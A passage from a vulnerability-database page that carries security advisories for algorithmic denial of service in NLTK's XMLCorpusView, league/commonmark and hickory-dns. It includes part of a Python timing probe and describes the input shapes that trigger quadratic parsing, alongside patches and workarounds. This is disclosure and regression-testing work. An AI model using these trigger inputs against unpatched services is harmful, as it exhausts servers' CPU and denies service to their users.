tag=\u0027{ET.fromstring(c1).tag}\u0027\",\n)\ncheck(\n    \"unclosed-comment read cost scales super-linearly (t(4n)/t(n) \u003e 10; linear ~4)\",\n    ratio \u003e 10.0,\n    f\"measured {ratio:.1f}\",\n)\n\n# ---- CDATA variant ---------------------------------------------------------\nhas_guard = guard_present()\nprint(f\"[INFO] in-tag guard present in module: {has_guard}\")\nd1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)\ndratio = td4 / td1\ndout = read_frag(d1)\ndoutcome = \"returned\" if isinstance(dout, str) and not dout.startswith(\"ValueError\") else dout\nprint(f\"[TIMING] CDATA variant       n={len(d1)} t={td1:.3f}s  \"\n      f\"4n={len(d4)} t={td4:.3f}s  ratio={dratio:.1f}  (n-\u003e{doutcome})\")\nif has_guard:\n    check(\n        \"CDATA variant also super-linear on guard-present build\",\n        dratio \u003e 10.0,\n        f\"measured {dratio:.1f}\",\n    )\nelse:\n    # Pre-guard releases cannot validate any CDATA (their regex\u0027s CDATA\n    # alternative never matches), so the fragment ends in ValueError -- a\n    # separate functional defect; report only.\n    check(\n        \"pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)\",\n        doutcome.startswith(\"ValueError\"),\n        str(doutcome),\n    )\n\n# ---- Single-match linearity of _VALID_XML_RE ------------------------------\n# The quadratic total comes from re-running a *linear* whole-buffer match on\n# every block, not from the regex itself backtracking super-linearly (a single\n# match would then also blow up with input size). Verify single-match scaling.\n# The assertion uses the 512 KiB -\u003e 2 MiB pair (the 256 KiB size runs ~4x\n# faster in an already-warmed engine, so it is reported but not asserted on).\ndef best_match_ms(buf):\n    view._VALID_XML_RE.match(buf)  # warm-up (cache pattern + char-class state)\n    return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))\n\n\nms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 \u003c\u003c 18, 1 \u003c\u003c 19, 1 \u003c\u003c 20, 1 \u003c\u003c 21)}\nprint(f\"[TIMING] single _VALID_XML_RE.match  256KiB={ms[1 \u003c\u003c 18]:.4f}s  512KiB={ms[1 \u003c\u003c 19]:.4f}s  \"\n      f\"1MiB={ms[1 \u003c\u003c 20]:.4f}s  2MiB={ms[1 \u003c\u003c 21]:.4f}s\")\ncheck(\n    \"single match scales ~linearly (512KiB-\u003e2MiB 4x input ~4x time; not super-linear)\",\n    ms[1 \u003c\u003c 21] / ms[1 \u003c\u003c 19] \u003c 6.0,\n    f\"measured 4x ratio={ms[1 \u003c\u003c 21] / ms[1 \u003c\u003c 19]:.2f}\",\n)\n\n# ---- Control: giant single tag on the same reader ---------------------------\nif has_guard:\n    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)\n    gratio = tg4 / tg1\n    print(f\"[TIMING] oversized tag (control)  n={tag1} t={tg1:.3f}s  \"\n          f\"4n={tag4} t={tg4:.3f}s  ratio={gratio:.1f}\")\n    check(\n        \"oversized single tag reads linearly (guard present; t(4n)/t(n) \u003c 8)\",\n        gratio \u003c 8.0,\n        f\"measured {gratio:.1f}\",\n    )\nelse:\n    g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)\n    gratio = tg4 / tg1\n    print(f\"[TIMING] oversized tag (no guard)  n={len(g1)} t={tg1:.3f}s  \"\n          f\"4n={len(g4)} t={tg4:.3f}s  ratio={gratio:.1f}\")\n    check(\n        \"oversized single tag also super-linear pre-guard (report-only)\",\n        gratio \u003e 4.0,\n        f\"measured {gratio:.1f}\",\n    )\n\n# ---- Reachability: the public XMLCorpusView API drives the same sink -------\npath = os.path.join(_DATA_ROOT, \"attack.xml\")\nwith open(path, \"w\", encoding=\"utf-8\") as fh:\n    fh.write(c1)\ntry:\n    items = list(XMLCorpusView(path, \".*\"))\n    check(\n        \"public API list(XMLCorpusView(path, \u0027.*\u0027)) reads the attack document\",\n        len(items) \u003e= 1,\n        f\"{len(items)} item(s) read from {len(c1)}-byte document\",\n    )\nfinally:\n    if _CLEANUP_ROOT:\n        shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)\n\npassed = sum(results)\nfailed = len(results) - passed\nprint(f\"RESULT {passed}/{len(results)} checks passed, {failed} failed\")\nsys.exit(0 if failed == 0 else 1)\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nTwo open pull requests carry a fix.\n\nPR: #3753 \"[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path\", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).\n\nPR: #3895 \"[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)\", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).\n\nThe probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).\n\nRelease: none.",
  "id": "GHSA-j8g8-j4j7-8j54",
  "modified": "2026-11-19T23:54:59Z",
  "published": "2026-11-19T23:54:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-j8g8-j4j7-8j54"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128139"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/9cacbb95d97eaac7debb30d6e7decbe74d2c635f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service"
}

GHSA-J8PM-GJ4C-RQ4X

Vulnerability from github – Published: 2026-09-01 20:17 – Updated: 2026-09-01 20:17
VLAI
Summary
league/commonmark: Denial of service via crafted code fences, reference links, and emphasis delimiters
Details

Impact

Affected versions of league/commonmark perform super-linear work on three independent parsing paths, all of which are reachable on a stock new CommonMarkConverter() with default configuration and no extensions registered. Each trigger fits on a single line of input, so no complex Markdown structure is required.

The three paths were introduced at different times. This advisory's version range is their union; the individual ranges are:

Path Affected from Affected through
1. Fenced code block detection 0.6.0 2.9.0
2. Reference link label lookup 0.6.0 2.9.0
3. Emphasis / strikethrough delimiters (*, _, ~) 2.6.0 2.9.0
3. Highlight delimiters (=) 2.9.0 2.9.0

1. Fenced code block detection — quadratic, affected from 0.6.0.

FencedCodeStartParser matches the following pattern:

/^[ \t]*(?:`{3,}(?!.*`)|~{3,})/

The lookahead enforces the CommonMark rule that a backtick fence's info string may not itself contain a backtick, but neither the lookahead nor the backtick run it guards is atomic or possessive. On a line consisting of a long backtick run, filler text, and a single trailing backtick, the quantifier gives back one character at a time and re-runs the lookahead across the remainder of the line on every candidate fence length.

A 320 KB single line takes roughly 27 seconds to convert. The identical payload with one x character prefixed — which fails the parser's own leading-character guard — takes 0.011 seconds. preg_last_error() returns 0 at every input size tested, including runs of 160,000 characters, so PCRE never reaches pcre.backtrack_limit and this is sustained CPU consumption rather than an early bail-out.

2. Reference link label lookup — effectively quadratic, affected from 0.6.0.

When a shortcut or collapsed reference link is attempted, CloseBracketParser::tryParseReference() copies the entire span between the brackets and passes it to ReferenceMap::get(), which normalizes the label — up to four full passes over its length (trim, preg_replace, mb_check_encoding, and strtolower, or mb_convert_case on the non-ASCII path). Nested brackets produce one such lookup per closing bracket, each on a span two characters longer than the last.

In 2.x the normalization sits behind an early return for an empty reference map, so a single 8-byte reference definition anywhere in the document ([x]: y) is enough to unlock the path. At n = 64,000 nested brackets the same input takes 22.0 seconds with that line present versus 0.59 seconds without it. A single non-ASCII character inside the brackets forces the mb_convert_case branch, costing roughly 2.5x more again.

3. Emphasis, strikethrough, and highlight delimiter processing — super-linear, affected from 2.6.0.

DelimiterStack::processDelimiters() remains linear only because of the openersBottom memo, which bounds the backward opener scan — an argument that holds only if the memo's key space is O(1). EmphasisDelimiterProcessor::getCacheKey(), and the equivalents in StrikethroughDelimiterProcessor and MarkDelimiterProcessor, embed the closer's raw current run length in the key, leaving that space unbounded. An attacker spends O(n) bytes minting a growing number of distinct run lengths; each distinct length is a fresh key whose recorded bound starts at zero, forcing a full backward re-scan of the entire pile of openers.

The resulting work grows as roughly n^1.5. This is sub-quadratic, but the amplification over linear growth itself scales with input size, so it worsens as inputs grow: 800 KB of ordinary asterisks, letters, and spaces costs roughly 27 seconds on a stock converter.

This path is a regression introduced in 2.6.0. Before that release the cache key was the bare delimiter character — a bounded key space that amortized correctly. * and _ are affected on any default configuration from 2.6.0 onward. ~ (StrikethroughExtension, included in GithubFlavoredMarkdownConverter and GithubFlavoredMarkdownExtension) is affected from 2.6.0. = (HighlightExtension) is affected only from 2.9.0, when MarkDelimiterProcessor was declared cacheable.

Overall impact. An unauthenticated attacker who can submit Markdown for conversion can use a comparatively small request to consume disproportionate CPU time. Repeated or concurrent requests can occupy all available PHP workers and prevent legitimate requests from completing. The impact is limited to availability: no data is disclosed, rendered output is unchanged, and no rendering restriction is bypassed. Applications that process only trusted Markdown are not remotely exploitable.

Settings such as html_input, allow_unsafe_links, and max_nesting_level do not mitigate any of these, because the expensive work occurs during parsing, before rendering. max_delimiters_per_line bounds the third path only, and does so lossily — it silently discards emphasis once the cap is exhausted.

Patches

The issues are patched in 2.9.1 and later:

  • The fenced code block quantifier is now possessive, which is behavior-identical here: any character given back moves a backtick into the lookahead's scan range, so every retry was guaranteed to fail regardless.
  • Reference link lookups now apply the CommonMark 999-character link label limit before copying and normalizing the label, matching the limit already enforced when parsing reference definitions. Because a definition can never exceed that length, an over-length lookup label cannot match one directly. One edge case does change: a label longer than 999 characters that collapses to a shorter match once whitespace is normalized — for example [a followed by 998 spaces and b] against a [a b]: /url definition — previously rendered as a link and now renders literally. This follows cmark, which applies its own label-length cap before normalizing (cmark_reference_lookup()), and matches how this library has always handled the equivalent [text][label] form via LinkParserHelper::parseLinkLabel(). commonmark.js normalizes first and still resolves such labels.
  • Delimiter processor cache keys now clamp the run length to the coarsest bucket that can change behavior — min(length, 2) for emphasis, min(length, 3) for strikethrough and highlight — restoring a bounded key space while preserving byte-identical output.

Versions from 0.6.0 through 2.9.0 are affected by at least one of these paths; see the table above for which paths apply to which releases. The 0.x and 1.x release lines are no longer supported, so their users must upgrade to 2.9.1 or later.

Workarounds

If you cannot upgrade immediately, enforce a maximum length for individual lines before passing input to the converter, in addition to a total request-size limit. A per-line limit matters because every trigger described above fits within a single line. Because the cost grows super-linearly, the cap must be genuinely small to bound worst-case CPU.

Setting max_delimiters_per_line reduces exposure to the delimiter path only, and does so by silently dropping emphasis from the rendered output. It has no effect on the fenced code or reference link paths.

Restricting conversion to trusted users, applying strict execution-time limits, rate-limiting requests, and limiting concurrent conversions all reduce exposure, but none is a complete substitute for upgrading.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "league/commonmark"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "2.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1050",
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-01T20:17:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAffected versions of `league/commonmark` perform super-linear work on three independent parsing paths, all of which are reachable on a stock `new CommonMarkConverter()` with default configuration and no extensions registered. Each trigger fits on a single line of input, so no complex Markdown structure is required.\n\nThe three paths were introduced at different times. This advisory\u0027s version range is their union; the individual ranges are:\n\n| Path | Affected from | Affected through |\n|---|---|---|\n| 1. Fenced code block detection | `0.6.0` | `2.9.0` |\n| 2. Reference link label lookup | `0.6.0` | `2.9.0` |\n| 3. Emphasis / strikethrough delimiters (`*`, `_`, `~`) | `2.6.0` | `2.9.0` |\n| 3. Highlight delimiters (`=`) | `2.9.0` | `2.9.0` |\n\n**1. Fenced code block detection \u2014 quadratic, affected from 0.6.0.**\n\n`FencedCodeStartParser` matches the following pattern:\n\n```\n/^[ \\t]*(?:`{3,}(?!.*`)|~{3,})/\n```\n\nThe lookahead enforces the CommonMark rule that a backtick fence\u0027s info string may not itself contain a backtick, but neither the lookahead nor the backtick run it guards is atomic or possessive. On a line consisting of a long backtick run, filler text, and a single trailing backtick, the quantifier gives back one character at a time and re-runs the lookahead across the remainder of the line on every candidate fence length.\n\nA 320 KB single line takes roughly 27 seconds to convert. The identical payload with one `x` character prefixed \u2014 which fails the parser\u0027s own leading-character guard \u2014 takes 0.011 seconds. `preg_last_error()` returns `0` at every input size tested, including runs of 160,000 characters, so PCRE never reaches `pcre.backtrack_limit` and this is sustained CPU consumption rather than an early bail-out.\n\n**2. Reference link label lookup \u2014 effectively quadratic, affected from 0.6.0.**\n\nWhen a shortcut or collapsed reference link is attempted, `CloseBracketParser::tryParseReference()` copies the entire span between the brackets and passes it to `ReferenceMap::get()`, which normalizes the label \u2014 up to four full passes over its length (`trim`, `preg_replace`, `mb_check_encoding`, and `strtolower`, or `mb_convert_case` on the non-ASCII path). Nested brackets produce one such lookup per closing bracket, each on a span two characters longer than the last.\n\nIn 2.x the normalization sits behind an early return for an empty reference map, so a single 8-byte reference definition anywhere in the document (`[x]: y`) is enough to unlock the path. At n = 64,000 nested brackets the same input takes 22.0 seconds with that line present versus 0.59 seconds without it. A single non-ASCII character inside the brackets forces the `mb_convert_case` branch, costing roughly 2.5x more again.\n\n**3. Emphasis, strikethrough, and highlight delimiter processing \u2014 super-linear, affected from 2.6.0.**\n\n`DelimiterStack::processDelimiters()` remains linear only because of the `openersBottom` memo, which bounds the backward opener scan \u2014 an argument that holds only if the memo\u0027s key space is O(1). `EmphasisDelimiterProcessor::getCacheKey()`, and the equivalents in `StrikethroughDelimiterProcessor` and `MarkDelimiterProcessor`, embed the closer\u0027s raw current run length in the key, leaving that space unbounded. An attacker spends O(n) bytes minting a growing number of distinct run lengths; each distinct length is a fresh key whose recorded bound starts at zero, forcing a full backward re-scan of the entire pile of openers.\n\nThe resulting work grows as roughly n^1.5. This is sub-quadratic, but the amplification over linear growth itself scales with input size, so it worsens as inputs grow: 800 KB of ordinary asterisks, letters, and spaces costs roughly 27 seconds on a stock converter.\n\nThis path is a regression introduced in **2.6.0**. Before that release the cache key was the bare delimiter character \u2014 a bounded key space that amortized correctly. `*` and `_` are affected on any default configuration from 2.6.0 onward. `~` (`StrikethroughExtension`, included in `GithubFlavoredMarkdownConverter` and `GithubFlavoredMarkdownExtension`) is affected from 2.6.0. `=` (`HighlightExtension`) is affected only from **2.9.0**, when `MarkDelimiterProcessor` was declared cacheable.\n\n**Overall impact.** An unauthenticated attacker who can submit Markdown for conversion can use a comparatively small request to consume disproportionate CPU time. Repeated or concurrent requests can occupy all available PHP workers and prevent legitimate requests from completing. The impact is limited to availability: no data is disclosed, rendered output is unchanged, and no rendering restriction is bypassed. Applications that process only trusted Markdown are not remotely exploitable.\n\nSettings such as `html_input`, `allow_unsafe_links`, and `max_nesting_level` do not mitigate any of these, because the expensive work occurs during parsing, before rendering. `max_delimiters_per_line` bounds the third path only, and does so lossily \u2014 it silently discards emphasis once the cap is exhausted.\n\n### Patches\n\nThe issues are patched in `2.9.1` and later:\n\n- The fenced code block quantifier is now possessive, which is behavior-identical here: any character given back moves a backtick into the lookahead\u0027s scan range, so every retry was guaranteed to fail regardless.\n- Reference link *lookups* now apply the CommonMark 999-character link label limit before copying and normalizing the label, matching the limit already enforced when parsing reference *definitions*. Because a definition can never exceed that length, an over-length lookup label cannot match one directly. One edge case does change: a label longer than 999 characters that *collapses* to a shorter match once whitespace is normalized \u2014 for example `[a` followed by 998 spaces and `b]` against a `[a b]: /url` definition \u2014 previously rendered as a link and now renders literally. This follows cmark, which applies its own label-length cap before normalizing (`cmark_reference_lookup()`), and matches how this library has always handled the equivalent `[text][label]` form via `LinkParserHelper::parseLinkLabel()`. commonmark.js normalizes first and still resolves such labels.\n- Delimiter processor cache keys now clamp the run length to the coarsest bucket that can change behavior \u2014 `min(length, 2)` for emphasis, `min(length, 3)` for strikethrough and highlight \u2014 restoring a bounded key space while preserving byte-identical output.\n\nVersions from `0.6.0` through `2.9.0` are affected by at least one of these paths; see the table above for which paths apply to which releases. The 0.x and 1.x release lines are no longer supported, so their users must upgrade to `2.9.1` or later.\n\n### Workarounds\n\nIf you cannot upgrade immediately, enforce a **maximum length for individual lines** before passing input to the converter, in addition to a total request-size limit. A per-line limit matters because every trigger described above fits within a single line. Because the cost grows super-linearly, the cap must be genuinely small to bound worst-case CPU.\n\nSetting `max_delimiters_per_line` reduces exposure to the delimiter path only, and does so by silently dropping emphasis from the rendered output. It has no effect on the fenced code or reference link paths.\n\nRestricting conversion to trusted users, applying strict execution-time limits, rate-limiting requests, and limiting concurrent conversions all reduce exposure, but none is a complete substitute for upgrading.",
  "id": "GHSA-j8pm-gj4c-rq4x",
  "modified": "2026-09-01T20:17:59Z",
  "published": "2026-09-01T20:17:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-j8pm-gj4c-rq4x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/commit/0768217751fbfaeb8d76762f6944e9af7114295e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/commit/d9375fadc308a63a02950a68d822417a6e4c33b2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/commit/e0036ef031fd36ec1c3c82db8743fc928b5271c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thephpleague/commonmark"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/releases/tag/2.9.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "league/commonmark: Denial of service via crafted code fences, reference links, and emphasis delimiters"
}

GHSA-JCMH-CHHQ-RH2X

Vulnerability from github – Published: 2026-09-07 15:33 – Updated: 2026-09-07 15:33
VLAI
Details

league/commonmark versions >= 2.0.0 and < 2.8.4 (patched in 2.9.0) contain a denial of service vulnerability in UniqueSlugNormalizer::normalize(), which restarts its numeric-suffix search from 1 on every slug collision, resulting in O(K^2) time complexity for K headings that collapse to the same base slug. The vulnerable path is reached when HeadingPermalinkExtension, FootnoteExtension, or TableOfContentsExtension is registered. An unauthenticated attacker can force many headings onto a single base slug (e.g., via empty ATX headings, identical heading text, or punctuation-only headings) in a small Markdown document, consuming excessive CPU and denying service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-86434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-07T13:20:42Z",
    "severity": "HIGH"
  },
  "details": "league/commonmark versions \u003e= 2.0.0 and \u003c 2.8.4 (patched in 2.9.0) contain a denial of service vulnerability in UniqueSlugNormalizer::normalize(), which restarts its numeric-suffix search from 1 on every slug collision, resulting in O(K^2) time complexity for K headings that collapse to the same base slug. The vulnerable path is reached when HeadingPermalinkExtension, FootnoteExtension, or TableOfContentsExtension is registered. An unauthenticated attacker can force many headings onto a single base slug (e.g., via empty ATX headings, identical heading text, or punctuation-only headings) in a small Markdown document, consuming excessive CPU and denying service.",
  "id": "GHSA-jcmh-chhq-rh2x",
  "modified": "2026-09-07T15:33:53Z",
  "published": "2026-09-07T15:33:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-mh25-x5hq-wrqp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86434"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/commonmark-2.0.0-through-2.8.3-denial-of-service-via-slug-collision"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JCQ8-9RWQ-2C6J

Vulnerability from github – Published: 2026-11-08 03:30 – Updated: 2026-11-08 03:30
VLAI
Details

Hickory DNS hickory-proto from 0.3.1 before 0.26.1 contains a denial of service vulnerability in BinEncoder that allows remote attackers to exhaust CPU through quadratic-time name compression. Attackers can send malicious DNS messages with many records that add many candidate labels and trigger repeated linear scans during encoding, amplifying CPU exhaustion.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-123608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-08T02:16:55Z",
    "severity": "HIGH"
  },
  "details": "Hickory DNS hickory-proto from 0.3.1 before 0.26.1 contains a denial of service vulnerability in BinEncoder that allows remote attackers to exhaust CPU through quadratic-time name compression. Attackers can send malicious DNS messages with many records that add many candidate labels and trigger repeated linear scans during encoding, amplifying CPU exhaustion.",
  "id": "GHSA-jcq8-9rwq-2c6j",
  "modified": "2026-11-08T03:30:37Z",
  "published": "2026-11-08T03:30:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-q2qq-hmj6-3wpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-123608"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hickory-dns-hickory-proto-0.3.1-before-0.26.1-cpu-exhaustion-via-binencoder-name-compression"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.